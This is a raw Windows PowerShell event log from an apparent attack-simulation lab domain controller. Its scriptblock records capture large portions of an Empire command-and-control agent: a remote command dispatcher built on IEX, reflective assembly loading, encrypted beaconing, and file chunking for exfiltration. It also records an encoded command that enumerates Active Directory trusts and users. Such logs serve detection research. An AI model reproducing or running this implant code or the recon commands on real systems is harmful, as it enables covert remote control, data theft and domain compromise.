if ($cmdargs.length -ne "") {
try {
IEX "$cmd $cmdargs -Force -ErrorAction Stop"
$output = "executed $cmd $cmdargs"
}
catch {
$output=$_.Exception;
}
}
}
cd {
if ($cmdargs.length -ne '')
{
$cmdargs = $cmdargs.trim("`"").trim("'")
cd "$cmdargs"
$output = pwd
}
}
'(ipconfig|ifconfig)' {
$output = Get-WmiObject -class 'Win32_NetworkAdapterConfiguration' | ? {$_.IPEnabled -Match 'True'} | ForEach-Object {
$out = New-Object psobject
$out | Add-Member Noteproperty 'Description' $_.Description
$out | Add-Member Noteproperty 'MACAddress' $_.MACAddress
$out | Add-Member Noteproperty 'DHCPEnabled' $_.DHCPEnabled
$out | Add-Member Noteproperty 'IPAddress' $($_.IPAddress -join ",")
$out | Add-Member Noteproperty 'IPSubnet' $($_.IPSubnet -join ",")
$out | Add-Member Noteproperty 'DefaultIPGateway' $($_.DefaultIPGateway -join ",")
$out | Add-Member Noteproperty 'DNSServer' $($_.DNSServerSearchOrder -join ",")
$out | Add-Member Noteproperty 'DNSHostName' $_.DNSHostName
$out | Add-Member Noteproperty 'DNSSuffix' $($_.DNSDomainSuffixSearchOrder -join ",")
$out
} | fl | Out-String | ForEach-Object {$_ + "`n"}
}
'(ps|tasklist)' {
$owners = @{}
Get-WmiObject win32_process | ForEach-Object {$o = $_.getowner(); if(-not $($o.User)) {$o='N/A'} else {$o="$($o.Domain)\$($o.User)"}; $owners[$_.handle] = $o}
if($cmdargs -ne '') { $p = $cmdargs }
else{ $p = "*" }
$output = Get-Process $p | ForEach-Object {
$arch = 'x64'
if ([System.IntPtr]::Size -eq 4) {
$arch = 'x86'
}
else{
foreach($module in $_.modules) {
if([System.IO.Path]::GetFileName($module.FileName).ToLower() -eq "wow64.dll") {
$arch = 'x86'
break
}
}
}
$out = New-Object psobject
$out | Add-Member Noteproperty 'ProcessName' $_.ProcessName
$out | Add-Member Noteproperty 'PID' $_.ID
$out | Add-Member Noteproperty 'Arch' $arch
$out | Add-Member Noteproperty 'UserName' $owners[$_.id.tostring()]
$mem = "{0:N2} MB" -f $($_.WS/1MB)
$out | Add-Member Noteproperty 'MemUsage' $mem
$out
} | Sort-Object -Property PID
}
getpid { $output = [System.Diagnostics.Process]::GetCurrentProcess() }
route {
if (($cmdargs.length -eq '') -or ($cmdargs.lower() -eq 'print')) {
$adapters = @{}
Get-WmiObject Win32_NetworkAdapterConfiguration | ForEach-Object { $adapters[[int]($_.InterfaceIndex)] = $_.IPAddress }
$output = Get-WmiObject win32_IP4RouteTable | ForEach-Object {
$out = New-Object psobject
$out | Add-Member Noteproperty 'Destination' $_.Destination
$out | Add-Member Noteproperty 'Netmask' $_.Mask
if ($_.NextHop -eq "0.0.0.0") {
$out | Add-Member Noteproperty 'NextHop' 'On-link'
}
else{
$out | Add-Member Noteproperty 'NextHop' $_.NextHop
}
if($adapters[$_.InterfaceIndex] -and ($adapters[$_.InterfaceIndex] -ne "")) {
$out | Add-Member Noteproperty 'Interface' $($adapters[$_.InterfaceIndex] -join ",")
}
else {
$out | Add-Member Noteproperty 'Interface' '127.0.0.1'
}
$out | Add-Member Noteproperty 'Metric' $_.Metric1
$out
} | ft -autosize | Out-String
}
else { $output = route $cmdargs }
}
'(whoami|getuid)' { $output = [Security.Principal.WindowsIdentity]::GetCurrent().Name }
hostname {
$output = [System.Net.Dns]::GetHostByName(($env:computerName))
}
'(reboot|restart)' { Restart-Computer -force }
shutdown { Stop-Computer -force }
default {
if ($cmdargs.length -eq '') { $output = IEX $cmd }
else { $output = IEX "$cmd $cmdargs" }
}
}
}
"`n"+($output | Format-Table -w
ScriptBlock ID: 14268e97-4d5a-4644-b27d-800b043b67bf
Path:
06/09/2021 07:18:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=3
Type=Warning
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=114992
Keywords=None
Message=Creating Scriptblock text (1 of 3):
function Invoke-Empire {
param(
[Parameter(Mandatory=$true)]
[String]
$StagingKey,
[Parameter(Mandatory=$true)]
[String]
$SessionKey,
[Parameter(Mandatory=$true)]
[String]
$SessionID,
[Int32]
$AgentDelay = 5,
[Double]
$AgentJitter = 0.0,
[String[]]
$Servers,
[String]
$KillDate,
[Int32]
$KillDays,
[String]
$WorkingHours,
[object]
$ProxySettings,
[String]
$Profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
[Int32]
$LostLimit = 60,
[String]
$DefaultResponse = "PCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9XM0MvL0RURCBYSFRNTCAxLjAgU3RyaWN0Ly9FTiIgImh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXN0cmljdC5kdGQiPg0KPGh0bWwgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiPg0KPGhlYWQ+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1pc28tODg1OS0xIi8+DQo8dGl0bGU+NDA0IC0gRmlsZSBvciBkaXJlY3Rvcnkgbm90IGZvdW5kLjwvdGl0bGU+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KPCEtLQ0KYm9keXttYXJnaW46MDtmb250LXNpemU6LjdlbTtmb250LWZhbWlseTpWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmO2JhY2tncm91bmQ6I0VFRUVFRTt9DQpmaWVsZHNldHtwYWRkaW5nOjAgMTVweCAxMHB4IDE1cHg7fSANCmgxe2ZvbnQtc2l6ZToyLjRlbTttYXJnaW46MDtjb2xvcjojRkZGO30NCmgye2ZvbnQtc2l6ZToxLjdlbTttYXJnaW46MDtjb2xvcjojQ0MwMDAwO30gDQpoM3tmb250LXNpemU6MS4yZW07bWFyZ2luOjEwcHggMCAwIDA7Y29sb3I6IzAwMDAwMDt9IA0KI2hlYWRlcnt3aWR0aDo5NiU7bWFyZ2luOjAgMCAwIDA7cGFkZGluZzo2cHggMiUgNnB4IDIlO2ZvbnQtZmFtaWx5OiJ0cmVidWNoZXQgTVMiLCBWZXJkYW5hLCBzYW5zLXNlcmlmO2NvbG9yOiNGRkY7DQpiYWNrZ3JvdW5kLWNvbG9yOiM1NTU1NTU7fQ0KI2NvbnRlbnR7bWFyZ2luOjAgMCAwIDIlO3Bvc2l0aW9uOnJlbGF0aXZlO30NCi5jb250ZW50LWNvbnRhaW5lcntiYWNrZ3JvdW5kOiNGRkY7d2lkdGg6OTYlO21hcmdpbi10b3A6OHB4O3BhZGRpbmc6MTBweDtwb3NpdGlvbjpyZWxhdGl2ZTt9DQotLT4NCjwvc3R5bGU+DQo8L2hlYWQ+DQo8Ym9keT4NCjxkaXYgaWQ9ImhlYWRlciI+PGgxPlNlcnZlciBFcnJvcjwvaDE+PC9kaXY+DQo8ZGl2IGlkPSJjb250ZW50Ij4NCiA8ZGl2IGNsYXNzPSJjb250ZW50LWNvbnRhaW5lciI+PGZpZWxkc2V0Pg0KICA8aDI+NDA0IC0gRmlsZSBvciBkaXJlY3Rvcnkgbm90IGZvdW5kLjwvaDI+DQogIDxoMz5UaGUgcmVzb3VyY2UgeW91IGFyZSBsb29raW5nIGZvciBtaWdodCBoYXZlIGJlZW4gcmVtb3ZlZCwgaGFkIGl0cyBuYW1lIGNoYW5nZWQsIG9yIGlzIHRlbXBvcmFyaWx5IHVuYXZhaWxhYmxlLjwvaDM+DQogPC9maWVsZHNldD48L2Rpdj4NCjwvZGl2Pg0KPC9ib2R5Pg0KPC9odG1sPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA="
)
$Encoding = [System.Text.Encoding]::ASCII
$HMAC = New-Object System.Security.Cryptography.HMACSHA256
$script:AgentDelay = $AgentDelay
$script:AgentJitter = $AgentJitter
$script:LostLimit = $LostLimit
$script:MissedCheckins = 0
$script:ResultIDs = @{}
$script:WorkingHours = $WorkingHours
$script:DefaultResponse = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($DefaultResponse))
$script:Proxy = $ProxySettings
$script:CurrentListenerName = ""
$Script:ServerIndex = 0
$Script:ControlServers = $Servers
$Retries = 1
if($KillDays) {
$script:KillDate = (Get-Date).AddDays($KillDays).ToString('MM/dd/yyyy')
}
if($KillDate -ne "REPLACE_KILLDATE" -and $KillDate -ne $null) {
$script:KillDate = $KillDate
}
$ProfileParts = $Profile.split('|')
$script:TaskURIs = $ProfileParts[0].split(',')
$script:UserAgent = $ProfileParts[1]
$script:SessionID = $SessionID
$script:Headers = @{}
if($ProfileParts[2]) {
$ProfileParts[2..$ProfileParts.length] | ForEach-Object {
$Parts = $_.Split(':')
$script:Headers.Add($Parts[0],$Parts[1])
}
}
$Script:Jobs = @{}
$Script:Downloads = @{}
$script:ImportedScript = ''
function ConvertTo-Rc4ByteStream {
Param ($In, $RCK)
begin {
[Byte[]] $S = 0..255;
$J = 0;
0..255 | ForEach-Object {
$J = ($J + $S[$_] + $RCK[$_ % $RCK.Length]) % 256;
$S[$_], $S[$J] = $S[$J], $S[$_];
};
$I = $J = 0;
}
process {
ForEach($Byte in $In) {
$I = ($I + 1) % 256;
$J = ($J + $S[$I]) % 256;
$S[$I], $S[$J] = $S[$J], $S[$I];
$Byte -bxor $S[($S[$I] + $S[$J]) % 256];
}
}
}
function Get-HexString {
param([byte]$Data)
($Data | ForEach-Object { "{0:X2}" -f $_ }) -join ' '
}
function Set-Delay {
param([int]$d, [double]$j=0.0)
$script:AgentDelay = $d
$script:AgentJitter = $j
"agent interval set to $script:AgentDelay seconds with a jitter of $script:AgentJitter"
}
function Get-Delay {
"agent interval delay interval: $script:AgentDelay seconds with a jitter of $script:AgentJitter"
}
function Set-LostLimit {
param([int]$l)
$script:LostLimit = $l
if($l -eq 0)
{
"agent set to never die based on checkin Limit"
}
else
{
"agent LostLimit set to $script:LostLimit"
}
}
function Get-LostLimit {
"agent LostLimit: $script:LostLimit"
}
function Set-Killdate {
param([string]$date)
$script:KillDate = $date
"agent killdate set to $script:KillDate"
}
function Get-Killdate {
"agent killdate: $script:KillDate"
}
function Set-WorkingHours {
param([string]$hours)
$script:WorkingHours = $hours
"agent working hours set to $($script:WorkingHours)"
}
function Get-WorkingHours {
"agent working hours: $($script:WorkingHours)"
}
function Get-Sysinfo {
$str = '0|' # no nonce for normal execution
$str += $Script:ControlServers[$Script:ServerIndex]
$str += '|' + [Environment]::UserDomainName+'|'+[Environment]::UserName+'|'+[Environment]::MachineName;
$p = (Get-WmiObject Win32_NetworkAdapterConfiguration|Where{$_.IPAddress}|Select -Expand IPAddress);
$ip = @{$true=$p[0];$false=$p}[$p.Length -lt 6];
$str+="|$ip"
$str += '|' +(Get-WmiObject Win32_OperatingSystem).Name.split('|')[0];
if(([Environment]::UserName).ToLower() -eq 'system') {
$str += '|True'
}
else{
$str += '|'+ ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')
}
$n = [System.Diagnostics.Process]::GetCurrentProcess();
$str += '|'+$n.ProcessName+'|'+$n.Id;
$str += "|powershell|" + $PSVersionTable.PSVersion.Major;
$str
}
function Invoke-ShellCommand {
param($cmd, $cmdargs="")
if ($cmdargs -like "*`"\\*") {
$cmdargs = $cmdargs -replace "`"\\","FileSystem::`"\"
}
elseif ($cmdargs -like "*\\*") {
$cmdargs = $cmdargs -replace "\\\\","FileSystem::\\"
}
$output = ''
if ($cmd.ToLower() -eq 'shell') {
if ($cmdargs.length -eq '') { $output = 'no shell command supplied' }
else {
$OldConsoleOut = [Console]::Out
$StringWriter = New-Object IO.StringWriter
[Console]::SetOut($StringWriter)
$output = iex "$cmdargs" | out-string
[Console]::SetOut($OldConsoleOut)
if ($output.length -eq 0){
$output = $StringWriter.ToString()
}
}
$output += "`n`r..Command execution completed."
}
elseif ($cmd.ToLower() -eq 'reflectiveload'){
if ($cmdargs.length -eq '') { $output = 'no binary supplied' }
else{
$assembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($cmdargs))
$output = "`n`r Reflective Load Complete"
}
}
else {
switch -regex ($cmd) {
'(ls|^dir)' {
if ($cmdargs.length -eq "") {
$output = Get-ChildItem -force | select mode,@{Name="Owner";Expression={(Get-Acl $_.FullName).Owner }},lastwritetime,length,name
}
else {
try{
$output = IEX "$cmd $cmdargs -Force -ErrorAction Stop" | select mode,@{Name="Owner";Expression={ (Get-Acl $_.FullName).Owner }},lastwritetime,length,name
}
catch [System.Management.Automation.ActionPreferenceStopException] {
$output = "[!] Error: $_ (or cannot be accessed)."
}
}
}
'(mv|move|copy|cp|rm|del|rmdir|mkdir)' {
if ($cmdargs.length -ne "") {
try {
IEX "$cmd $cmdargs -Force -ErrorAction Stop"
$output = "executed $cmd $cmdargs"
}
catch {
$output=$_.Exception;
}
}
}
cd {
if ($cmdargs.length -ne '')
{
$cmdargs = $cmdargs.trim("`"").trim("'")
cd "$cmdargs"
$output = pwd
}
}
'(ipconfig|ifconfig)' {
$output = Get-WmiObject -class 'Win32_NetworkAdapterConfiguration' | ? {$_.IPEnabled -Match 'True'} | ForEach-Object {
$out = New-Object psobject
$out | Add-Member Noteproperty 'Description' $_.Description
$out | Add-Member Noteproperty 'MACAddress' $_.MACAddress
$out | Add-Member Noteproperty 'DHCPEnabled' $_.DHCPEnabled
$out | Add-Member Noteproperty 'IPAddress' $($_.IPAddress -join ",")
$out | Add-Member Noteproperty 'IPSubnet' $($_.IPSubnet -join ",")
$out | Add-Member Noteproperty 'DefaultIPGateway' $($_.DefaultIPGateway -join ",")
$out | Add-Member Noteproperty 'DNSServer' $($_.DNSServerSearchOrder -join ",")
$out | Add-Member Noteproperty 'DNSHostName' $_.DNSHostName
$out | Add-Member Noteproperty 'DNSSuffix' $($_.DNSDomainSuffixSearchOrder -join ",")
$out
} | fl | Out-String | ForEach-Object {$_ + "`n"}
}
'(ps|tasklist)' {
$owners = @{}
Get-WmiObject win32_process | ForEach-Object {$o = $_.getowner(); if(-not $($o.User)) {$o='N/A'} else {$o="$($o.Domain)\$($o.User)"}; $owners[$_.handle] = $o}
if($cmdargs -ne '') { $p = $cmdargs }
else{ $p = "*" }
$output = Get-Process $p | ForEach-Object {
$arch = 'x64'
if ([System.IntPtr]::Size -eq 4) {
$arch = 'x86'
}
else{
foreach($module in $_.modules) {
if([System.IO.Path]::GetFileName($module.FileName).ToLower() -eq "wow64.dll") {
$arch = 'x86'
break
}
}
}
$out = New-Object psobject
$out | Add-Member Noteproperty 'ProcessName' $_.ProcessName
$out | Add-Member Noteproperty 'PID' $_.ID
$out | Add-Member Noteproperty 'Arch' $arch
$out | Add-Member Noteproperty 'UserName' $owners[$_.id.tostring()]
$mem = "{0:N2} MB" -f $($_.WS/1MB)
$out | Add-Member Noteproperty 'MemUsage' $mem
$out
} | Sort-Object -Property PID
}
getpid { $output = [System.Diagnostics.Process]::GetCurrentProcess() }
route {
if (($cmdargs.length -eq '') -or ($cmdargs.lower() -eq 'print')) {
$adapters = @{}
Get-WmiObject Win32_NetworkAdapterConfiguration | ForEach-Object { $adapters[[int]($_.InterfaceIndex)] = $_.IPAddress }
$output = Get-WmiObject win32_IP4RouteTable | ForEach-Object {
$out = New-Object psobject
$out | Add-Member Noteproperty 'Destination' $_.Destination
$out | Add-Member Noteproperty 'Netmask' $_.Mask
if ($_.NextHop -eq "0.0.0.0") {
$out | Add-Member Noteproperty 'NextHop' 'On-link'
}
else{
$out | Add-Member Noteproperty 'NextHop' $_.NextHop
}
if($adapters[$_.InterfaceIndex] -and ($adapters[$_.InterfaceIndex] -ne "")) {
$out | Add-Member Noteproperty 'Interface' $($adapters[$_.InterfaceIndex] -join ",")
}
else {
$out | Add-Member Noteproperty 'Interface' '127.0.0.1'
}
$out | Add-Member Noteproperty 'Metric' $_.Metric1
$out
} | ft -autosize | Out-String
}
else { $output = route $cmdargs }
}
'(whoami|getuid)' { $output = [Security.Principal.WindowsIdentity]::GetCurrent().Name }
hostname {
$output = [System.Net.Dns]::GetHostByName(($env:computerName))
}
'(reboot|restart)' { Restart-Computer -force }
shutdown { Stop-Computer -force }
default {
if ($cmdargs.length -eq '') { $output = IEX $cmd }
else { $output = IEX "$cmd $cmdargs" }
}
}
}
"`n"+($output | Format-Table -wrap | Out-String)
}
function Start-AgentJob {
param($ScriptString)
$RandName = -join("ABCDEFGHKLMNPRSTUVWXYZ123456789".ToCharArray()|Get-Random -Count 6)
$AppDomain = [AppDomain]::CreateDomain($RandName)
$PSHost = $AppDomain.Load([PSObject].Assembly.FullName).GetType('System.Management.Automation.PowerShell')::Create()
$null = $PSHost.AddScript($ScriptString)
$Buffer = New-Object 'System.Management.Automation.PSDataCollection[PSObject]'
$PSobjectCollectionType = [Type]'System.Management.Automation.PSDataCollection[PSObject]'
$BeginInvoke = ($PSHost.GetType().GetMethods() | ? { $_.Name -eq 'BeginInvoke' -and $_.GetParameters().Count -eq 2 }).MakeGenericMethod(@([PSObject], [PSObject]))
$Job = $BeginInvoke.Invoke($PSHost, @(($Buffer -as $PSobjectCollectionType), ($Buffer -as $PSobjectCollectionType)))
$Script:Jobs[$RandName] = @{'Alias'=$RandName; 'AppDomain'=$AppDomain; 'PSHost'=$PSHost; 'Job'=$Job; 'Buffer'=$Buffer}
$RandName
}
function Get-AgentJobCompleted {
param($JobName)
if($Script:Jobs.ContainsKey($JobName)) {
$Script:Jobs[$JobName]['Job'].IsCompleted
}
}
function Receive-AgentJob {
param($JobName)
if($Script:Jobs.ContainsKey($JobName)) {
$Script:Jobs[$JobName]['Buffer'].ReadAll()
}
}
function Stop-AgentJob {
param($JobName)
if($Script:Jobs.ContainsKey($JobName)) {
$Null = $Script:Jobs[$JobName]['PSHost'].Stop()
$Script:Jobs[$JobName]['Buffer'].ReadAll()
$Null = [AppDomain]::Unload($Script:Jobs[$JobName]['AppDomain'])
$Script:Jobs.Remove($JobName)
}
}
function Update-Profile {
param($Profile)
$ProfileParts = $Profile.split('|')
$script:TaskURIs = $ProfileParts[0].split(',')
$script:UserAgent = $ProfileParts[1]
$script:SessionID = $SessionID
$script:Headers = @{}
if($ProfileParts[2]) {
$ProfileParts[2..$ProfileParts.length] | ForEach-Object {
$Parts = $_.Split(':')
$script:Headers.Add($Parts[0],$Parts[1])
}
}
"Agent updated with profile $Profile"
}
function Get-FilePart {
Param(
[string] $File,
[int] $Index = 0,
$ChunkSize = 512KB,
[switch] $NoBase64
)
try {
$f = Get-Item "$File"
$FileLength = $f.length
$FromFile = [io.file]::OpenRead($File)
if ($FileLength -lt $ChunkSize) {
if($Index -eq 0) {
$buff = new-object byte[] $FileLength
$count = $FromFile.Read($buff, 0, $buff.Length)
if($NoBase64) {
$buff
}
else{
[System.Convert]::ToBase64String($buff)
}
}
else{
$Null
}
}
else{
$buff = new-object byte[] $ChunkSize
$Start = $Index * $($ChunkSize)
$null = $FromFile.Seek($Start,0)
$count = $FromFile.Read($buff, 0, $buff.Length)
if ($count -gt 0) {
if($count -ne $ChunkSize) {
$buff2 = new-object byte[] $count
[array]::copy($buff, $buff2, $count)
if($NoBase64) {
$buff2
}
else{
[System.Convert]::ToBase64String($buff2)
}
}
else{
if($NoBase64) {
$buff
}
else{
[System.Convert]::ToBase64String($buff)
}
}
}
else{
$Null;
}
}
}
catch{}
finally {
$FromFile.Close()
}
}
function Encrypt-Bytes {
param($bytes)
$IV = [byte] 0..255 | Get-Random -count 16
try {
$AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider;
}
catch {
$AES=New-Object System.Security.Cryptography.RijndaelManaged;
}
$AES.Mode = "CBC";
$AES.Key = $Encoding.GetBytes($SessionKey);
$AES.IV = $IV;
$ciphertext = $IV + ($AES.CreateEncryptor()).TransformFinalBlock($bytes, 0, $bytes.Length);
$HMAC.Key = $Encoding.GetBytes($SessionKey);
$ciphertext + $hmac.ComputeHash($ciphe
ScriptBlock ID: 8941c404-6de7-4fa8-837c-06b982a66cac
Path:
06/15/2021 07:49:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1480199
Keywords=None
Message=Creating Scriptblock text (1 of 1):
get-netdomaintrust; get-netforesttrust; get-addomain; get-adgroupmember; get-domainuser
ScriptBlock ID: 43f888a7-0483-439d-9f1a-6e1bdcbc951d
Path:
06/15/2021 07:49:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=40962
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Console Startup
OpCode=Stop
RecordNumber=1480198
Keywords=None
Message=PowerShell console is ready for user input
06/15/2021 07:49:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=53504
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Named Pipe IPC
OpCode=Open (async)
RecordNumber=1480197
Keywords=None
Message=Windows PowerShell has started an IPC listening thread on process: 4728 in AppDomain: DefaultAppDomain.
06/15/2021 07:49:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=40961
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Console Startup
OpCode=Start
RecordNumber=1480196
Keywords=None
Message=PowerShell console is starting up
06/15/2021 07:49:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1480195
Keywords=None
Message=Started invocation of ScriptBlock ID: cc08798f-70d8-4525-9cce-b4613354e7ac
Runspace ID: 72d6f928-9403-4135-8c62-b56ada4f0361
06/15/2021 07:49:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1480194
Keywords=None
Message=Creating Scriptblock text (1 of 1):
Powershell.exe -E ZwBlAHQALQBuAGUAdABkAG8AbQBhAGkAbgB0AHIAdQBzAHQAOwAgAGcAZQB0AC0AbgBlAHQAZgBvAHIAZQBzAHQAdAByAHUAcwB0ADsAIABnAGUAdAAtAGEAZABkAG8AbQBhAGkAbgA7ACAAZwBlAHQALQBhAGQAZwByAG8AdQBwAG0AZQBtAGIAZQByADsAIABnAGUAdAAtAGQAbwBtAGEAaQBuAHUAcwBlAHIA
ScriptBlock ID: cc08798f-70d8-4525-9cce-b4613354e7ac
Path:
06/15/2021 07:49:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1480193
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a4ee5a7-ece1-4f0c-86e6-e22a1bdda822
Runspace ID: 72d6f928-9403-4135-8c62-b56ada4f0361
06/15/2021 07:49:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1480311
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a4ee5a7-ece1-4f0c-86e6-e22a1bdda822
Runspace ID: 72d6f928-9403-4135-8c62-b56ada4f0361
06/15/2021 07:49:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1480310
Keywords=None
Message=Completed invocation of ScriptBlock ID: bb7d82a9-1e51-49e5-8716-b7a21a8e2c09
Runspace ID: 72d6f928-9403-4135-8c62-b56ada4f0361
06/15/2021 07:49:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1480309
Keywords=None
Message=Completed invocation of ScriptBlock ID: eda41651-1787-4040-9bcf-8a7b86e8123f
Runspace ID: 72d6f928-9403-4135-8c62-b56ada4f0361
06/15/2021 07:49:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1480308
Keywords=None
Message=Started invocation of ScriptBlock ID: eda41651-1787-4040-9bcf-8a7b86e8123f
Runspace ID: 72d6f928-9403-4135-8c62-b56ada4f0361
06/15/2021 07:49:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1480307
Keywords=None
Message=Started invocation of ScriptBlock ID: bb7d82a9-1e51-49e5-8716-b7a21a8e2c09
Runspace ID: 72d6f928-9403-4135-8c62-b56ada4f0361
06/15/2021 07:49:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1480306
Keywords=None
Message=Creating Scriptblock text (1 of 1):
prompt
ScriptBlock ID: bb7d82a9-1e51-49e5-8716-b7a21a8e2c09
Path:
06/15/2021 07:49:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1480305
Keywords=None
Message=Completed invocation of ScriptBlock ID: bc56cafc-e031-4572-8411-0e90ab9ba42c
Runspace ID: 72d6f928-9403-4135-8c62-b56ada4f0361
06/15/2021 07:49:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1480304
Keywords=None
Message=Started invocation of ScriptBlock ID: bc56cafc-e031-4572-8411-0e90ab9ba42c
Runspace ID: 72d6f928-9403-4135-8c62-b56ada4f0361
06/15/2021 07:49:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1480303
Keywords=None
Message=Completed invocation of ScriptBlock ID: cc08798f-70d8-4525-9cce-b4613354e7ac
Runspace ID: 72d6f928-9403-4135-8c62-b56ada4f0361
06/15/2021 07:49:17 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1480302
Keywords=None
Message=Completed invocation of ScriptBlock ID: 308f3dbb-cf50-4092-8d0d-dd65d9e35c61
Runspace ID: eb15df6a-cb8f-414d-b537-2b34749ddbd2
